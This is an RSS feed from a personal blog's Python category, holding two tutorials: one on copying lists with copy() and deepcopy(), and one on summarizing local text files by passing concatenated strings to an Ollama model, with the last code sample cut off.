<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/">
  <channel>
    <title>Python on Nelson Figueroa</title>
    <link>https://nelson.cloud/categories/python/</link>
    <description>Recent content in Python on Nelson Figueroa</description>
    <image>
      <title>Nelson Figueroa</title>
      <url>https://nelson.cloud/opengraph-images/default.png</url>
      <link>https://nelson.cloud/opengraph-images/default.png</link>
    </image>
    <language>en</language>
    <lastBuildDate>Sat, 28 Mar 2026 23:55:38 -0700</lastBuildDate>
    <atom:link href="https://nelson.cloud/categories/python/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>How to Actually Copy a List in Python</title>
      <link>https://nelson.cloud/how-to-actually-copy-a-list-in-python/?ref=rss</link>
      <pubDate>Sat, 18 Oct 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/how-to-actually-copy-a-list-in-python/?ref=rss</guid>
      <description>Copy a list in Python using the copy() method, not the assignment operator.</description><content:encoded><![CDATA[<blockquote><p><strong>tl;dr:</strong></p><p>Use the <code>copy()</code> method.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">list_a</span> <span class="o">=</span> <span class="n">list_b</span><span class="o">.</span><span class="n">copy</span><span class="p">()</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>If the list has other lists in it, import <code>copy</code> and use <code>copy.deepcopy()</code> to get fully independent lists.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">copy</span>
</span></span><span class="line"><span class="cl"><span class="n">list_a</span> <span class="o">=</span> <span class="n">copy</span><span class="o">.</span><span class="n">deepcopy</span><span class="p">(</span><span class="n">list_b</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote>
</div>

<h2 id="simple-lists">Simple Lists</h2>
<p>Say we have two Python lists &ndash; <code>list_a</code> and <code>list_b</code>.</p>
<p>If we try to make a copy of <code>list_a</code> and assign it to <code>list_b</code> using the assignment operator <code>=</code>, what really happens is that both <code>list_a</code> and <code>list_b</code> point to the same memory address.</p>
<p>That means that any list-manipulating actions that are done on either <code>list_a</code> or <code>list_b</code> will affect the same list in memory. We don&rsquo;t actually have two separate lists we can act upon.</p>
<p>In the example below, although we append the integer <code>4</code> to <code>list_a</code>, we can see that printing out <code>list_b</code> shows the newly added element. That&rsquo;s because both list variables point to the same memory address:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">list_a</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="n">list_a</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">list_b</span><span class="p">)</span> <span class="c1"># [1, 2, 3]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_a</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">list_b</span><span class="p">)</span> <span class="c1"># [1, 2, 3, 4]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output of the program above:</p>
<pre tabindex="0"><code>[1, 2, 3]
[1, 2, 3, 4]
</code></pre><p>To make an actual copy, use the <code>copy()</code> method. Then, when <code>list_a</code> is modified, it is independent of <code>list_b</code>, because <code>list_b</code> is stored in a separate memory address.</p>
<p>Now if we append the same integer <code>4</code> to <code>list_a</code>, <code>list_b</code> will be completely unaffected.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">list_a</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="n">list_a</span><span class="o">.</span><span class="n">copy</span><span class="p">()</span> <span class="c1"># using copy()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">list_b</span><span class="p">)</span> <span class="c1"># [1, 2, 3]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_a</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="mi">4</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">list_a</span><span class="p">)</span> <span class="c1"># [1, 2, 3, 4]</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">list_b</span><span class="p">)</span> <span class="c1"># [1, 2, 3]</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Output of the program above:</p>
<pre tabindex="0"><code>[1, 2, 3]
[1, 2, 3, 4]
[1, 2, 3]
</code></pre><p>Here&rsquo;s more proof. We can print out the memory address of each variable to see when they&rsquo;re the same and when they differ. We can do this using the <code>id()</code> function.</p>
<p>Here are the same lists from above but this time with their unique identifiers printed out. In this case, the IDs match because both <code>list_a</code> and <code>list_b</code> point to the same memory address.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">list_a</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="n">list_a</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;list_a address: </span><span class="si">{</span><span class="nb">id</span><span class="p">(</span><span class="n">list_a</span><span class="p">)</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;list_b address: </span><span class="si">{</span><span class="nb">id</span><span class="p">(</span><span class="n">list_b</span><span class="p">)</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The program above outputs:</p>
<pre tabindex="0"><code>list_a address: 140226819497536
list_b address: 140226819497536
</code></pre><p>The memory addresses are the same.</p>
<p>Now let&rsquo;s try the same thing but using the <code>copy()</code> method instead of just an assignment operation with <code>=</code>:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="n">list_a</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="n">list_a</span><span class="o">.</span><span class="n">copy</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;list_a address: </span><span class="si">{</span><span class="nb">id</span><span class="p">(</span><span class="n">list_a</span><span class="p">)</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="sa">f</span><span class="s1">&#39;list_b address: </span><span class="si">{</span><span class="nb">id</span><span class="p">(</span><span class="n">list_b</span><span class="p">)</span><span class="si">}</span><span class="s1">&#39;</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The program above outputs:</p>
<pre tabindex="0"><code>list_a address: 140264515620480
list_b address: 140264514892160
</code></pre><p>We can see the memory addresses are different (most obvious due to the ending digits).</p>
<h2 id="lists-containing-lists-dictionaries-and-sets">Lists Containing Lists, Dictionaries, and Sets</h2>
<p>If a list contains other lists, dictionaries, or sets, the <code>copy()</code> method won&rsquo;t work as expected. The nested lists/dictionaries/sets will still be shared between both lists.</p>
<p>In this scenario, we need to import the <code>copy</code> module and use <code>copy.deepcopy()</code> so that lists/dictionaries/sets inside a list are actually copied to another list.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">copy</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">list_a</span> <span class="o">=</span> <span class="p">[[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">],</span> <span class="p">{</span><span class="s2">&#34;a&#34;</span><span class="p">:</span> <span class="mi">1</span><span class="p">},</span> <span class="p">{</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">}]</span>
</span></span><span class="line"><span class="cl"><span class="n">list_b</span> <span class="o">=</span> <span class="n">copy</span><span class="o">.</span><span class="n">deepcopy</span><span class="p">(</span><span class="n">list_a</span><span class="p">)</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>Although I&rsquo;ve been in the field for some time, I still have my smooth brain moments. This is a reminder to myself (and whoever reads this) to remember the basics!</p>
<h2 id="references">References</h2>
<ul>
<li>

<a href="https://www.geeksforgeeks.org/python/python-list-copy-method/" target="_blank" rel="noopener">https://www.geeksforgeeks.org/python/python-list-copy-method/</a></li>
<li>

<a href="https://www.geeksforgeeks.org/python/id-function-python/" target="_blank" rel="noopener">https://www.geeksforgeeks.org/python/id-function-python/</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Local Text Summarization With Ollama and Python Is Just String Manipulation</title>
      <link>https://nelson.cloud/local-text-summarization-with-ollama-and-python-is-just-string-manipulation/?ref=rss</link>
      <pubDate>Sun, 24 Aug 2025 00:00:00 +0000</pubDate>
      <guid>https://nelson.cloud/local-text-summarization-with-ollama-and-python-is-just-string-manipulation/?ref=rss</guid>
      <description>Generate a string with Python, pass it into Ollama, and you get a string in return. That&amp;rsquo;s it.</description><content:encoded><![CDATA[<p>I&rsquo;ve used LLMs before but through an interface (i.e. 

<a href="https://chatgpt.com/" target="_blank" rel="noopener">ChatGPT</a>, 

<a href="https://gemini.google.com/app" target="_blank" rel="noopener">Gemini</a>, etc) but when I was trying to run a LLM locally I was overthinking how it worked.</p>
<p>Basically, it comes down to this: You pass in a string, and you get a string in return. That&rsquo;s it.</p>
<p>So if we want to run a LLM locally using Python to summarize files, we build strings with Python and pass them into Ollama. If you want to read in files, open them in Python and concatenate the text with your prompt string. Then pass in the prompt string to Ollama.</p>
<p>Python is just a bridge between you and Ollama.</p>
<p>I&rsquo;ve included some basic examples. The examples assume you have Ollama installed locally.</p>
<h2 id="reading-a-single-file-into-ollama">Reading a Single File Into Ollama</h2>
<p>This is straightforward. Open a file and concatenate the text with a prompt which gets passed into Ollama:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">ollama</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># open a single file</span>
</span></span><span class="line"><span class="cl"><span class="n">file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;path/to/file.txt&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># read it and concatenate to the prompt</span>
</span></span><span class="line"><span class="cl"><span class="n">prompt</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;Can you summarize this file for me? </span><span class="si">{</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="si">}</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># pass in the prompt to Ollama</span>
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">ollama</span><span class="o">.</span><span class="n">chat</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">model</span><span class="o">=</span><span class="s1">&#39;gpt-oss:20b&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">messages</span><span class="o">=</span><span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;role&#39;</span><span class="p">:</span> <span class="s1">&#39;user&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;content&#39;</span><span class="p">:</span> <span class="n">prompt</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">message</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="reading-multiple-files-into-ollama">Reading Multiple Files into Ollama</h2>
<p>If you want to pass in multiple files in one prompt, you have to read and concatenate the files into a string, which you then concatenate into the prompt itself.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">ollama</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># open several textfiles</span>
</span></span><span class="line"><span class="cl"><span class="n">file</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;path/to/file.txt&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="n">file2</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s2">&#34;path/to/file2.txt&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># concatenate the textfiles into a single string</span>
</span></span><span class="line"><span class="cl"><span class="nb">input</span> <span class="o">=</span> <span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span> <span class="o">+</span> <span class="n">file2</span><span class="o">.</span><span class="n">read</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># concatenate into the prompt</span>
</span></span><span class="line"><span class="cl"><span class="n">prompt</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;Can you summarize the following text for me? </span><span class="si">{</span><span class="nb">input</span><span class="si">}</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># pass in the prompt to Ollama</span>
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">ollama</span><span class="o">.</span><span class="n">chat</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">model</span><span class="o">=</span><span class="s1">&#39;gpt-oss:20b&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">messages</span><span class="o">=</span><span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;role&#39;</span><span class="p">:</span> <span class="s1">&#39;user&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;content&#39;</span><span class="p">:</span> <span class="n">prompt</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">message</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</blockquote><h2 id="dealing-with-context-limits">Dealing with Context Limits</h2>
<p>If you want to read in multiple files but the files are huge, you may exceed the context limits of your model. You can still concatenate files/strings where possible but you can circumvent this by creating several chats. You&rsquo;re basically running the code more than once, which means you can use a loop.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">ollama</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># open several textfiles and store them in a `files` list.</span>
</span></span><span class="line"><span class="cl"><span class="n">files</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="n">files</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s2">&#34;path/to/file.txt&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">files</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s2">&#34;path/to/file2.txt&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># run a chat for each file in the list</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">file</span> <span class="ow">in</span> <span class="n">files</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">prompt</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;Can you summarize the following text for me? </span><span class="si">{</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="si">}</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># pass in the prompt to Ollama</span>
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">ollama</span><span class="o">.</span><span class="n">chat</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">model</span><span class="o">=</span><span class="s1">&#39;gpt-oss:20b&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">messages</span><span class="o">=</span><span class="p">[</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="s1">&#39;role&#39;</span><span class="p">:</span> <span class="s1">&#39;user&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="s1">&#39;content&#39;</span><span class="p">:</span> <span class="n">prompt</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">message</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">])</span>
</span></span></code></pre></td></tr></table>
</blockquote><p>The code above gives us separate summaries. But what if we want a single summary of all the files involved and they each exceed context limits? We can create a summary of each file, then create a summary of the summaries! It&rsquo;s all string concatenation when you really think about it.</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">ollama</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># save summaries in a list to summarize later on</span>
</span></span><span class="line"><span class="cl"><span class="n">summaries</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># open several textfiles and store them in a `files` list.</span>
</span></span><span class="line"><span class="cl"><span class="n">files</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl"><span class="n">files</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s2">&#34;path/to/file.txt&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl"><span class="n">files</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s2">&#34;path/to/file2.txt&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># run a chat for each file in the list</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="n">file</span> <span class="ow">in</span> <span class="n">files</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">prompt</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;Can you summarize the following text for me? </span><span class="si">{</span><span class="n">file</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="si">}</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># pass in the prompt to Ollama</span>
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">ollama</span><span class="o">.</span><span class="n">chat</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">        <span class="n">model</span><span class="o">=</span><span class="s1">&#39;gpt-oss:20b&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="n">messages</span><span class="o">=</span><span class="p">[</span>
</span></span><span class="line"><span class="cl">            <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="s1">&#39;role&#39;</span><span class="p">:</span> <span class="s1">&#39;user&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                <span class="s1">&#39;content&#39;</span><span class="p">:</span> <span class="n">prompt</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">]</span>
</span></span><span class="line"><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># append the summary of the file to the summaries list for later</span>
</span></span><span class="line"><span class="cl">    <span class="n">summaries</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">response</span><span class="o">.</span><span class="n">message</span><span class="p">[</span><span class="s1">&#39;content&#39;</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># create a single string from our list of summaries</span>
</span></span><span class="line"><span class="cl"><span class="n">summaries_string</span> <span class="o">=</span> <span class="s2">&#34;</span><span class="se">\n</span><span class="s2">&#34;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">summaries</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1"># start a final chat to summarize the summaries</span>
</span></span><span class="line"><span class="cl"><span class="n">prompt</span> <span class="o">=</span> <span class="sa">f</span><span class="s1">&#39;Can you summarize the following text for me? </span><span class="si">{</span><span class="n">summaries_string</span><span class="si">}</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">response</span> <span class="o">=</span> <span class="n">ollama</span><span class="o">.</span><span class="n">chat</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="n">model</span><span class="o">=</span><span class="s1">&#39;gpt-oss:20b&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="n">messages</span><span class="o">=</span><span class="p">[</span>
</span></span><span class="line"><span class="cl">        <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;role&#39;</span><span class="p">:</span> <span class="s1">&#39;user&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">            <span class="s1">&#39;content&#39;</span><span class="p">:</span> <span class="n">prompt</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">]</span>
</span></span><span class="line"><span class="cl"><span class="p">)</span>
</span></span><span class="line"><span class="cl">
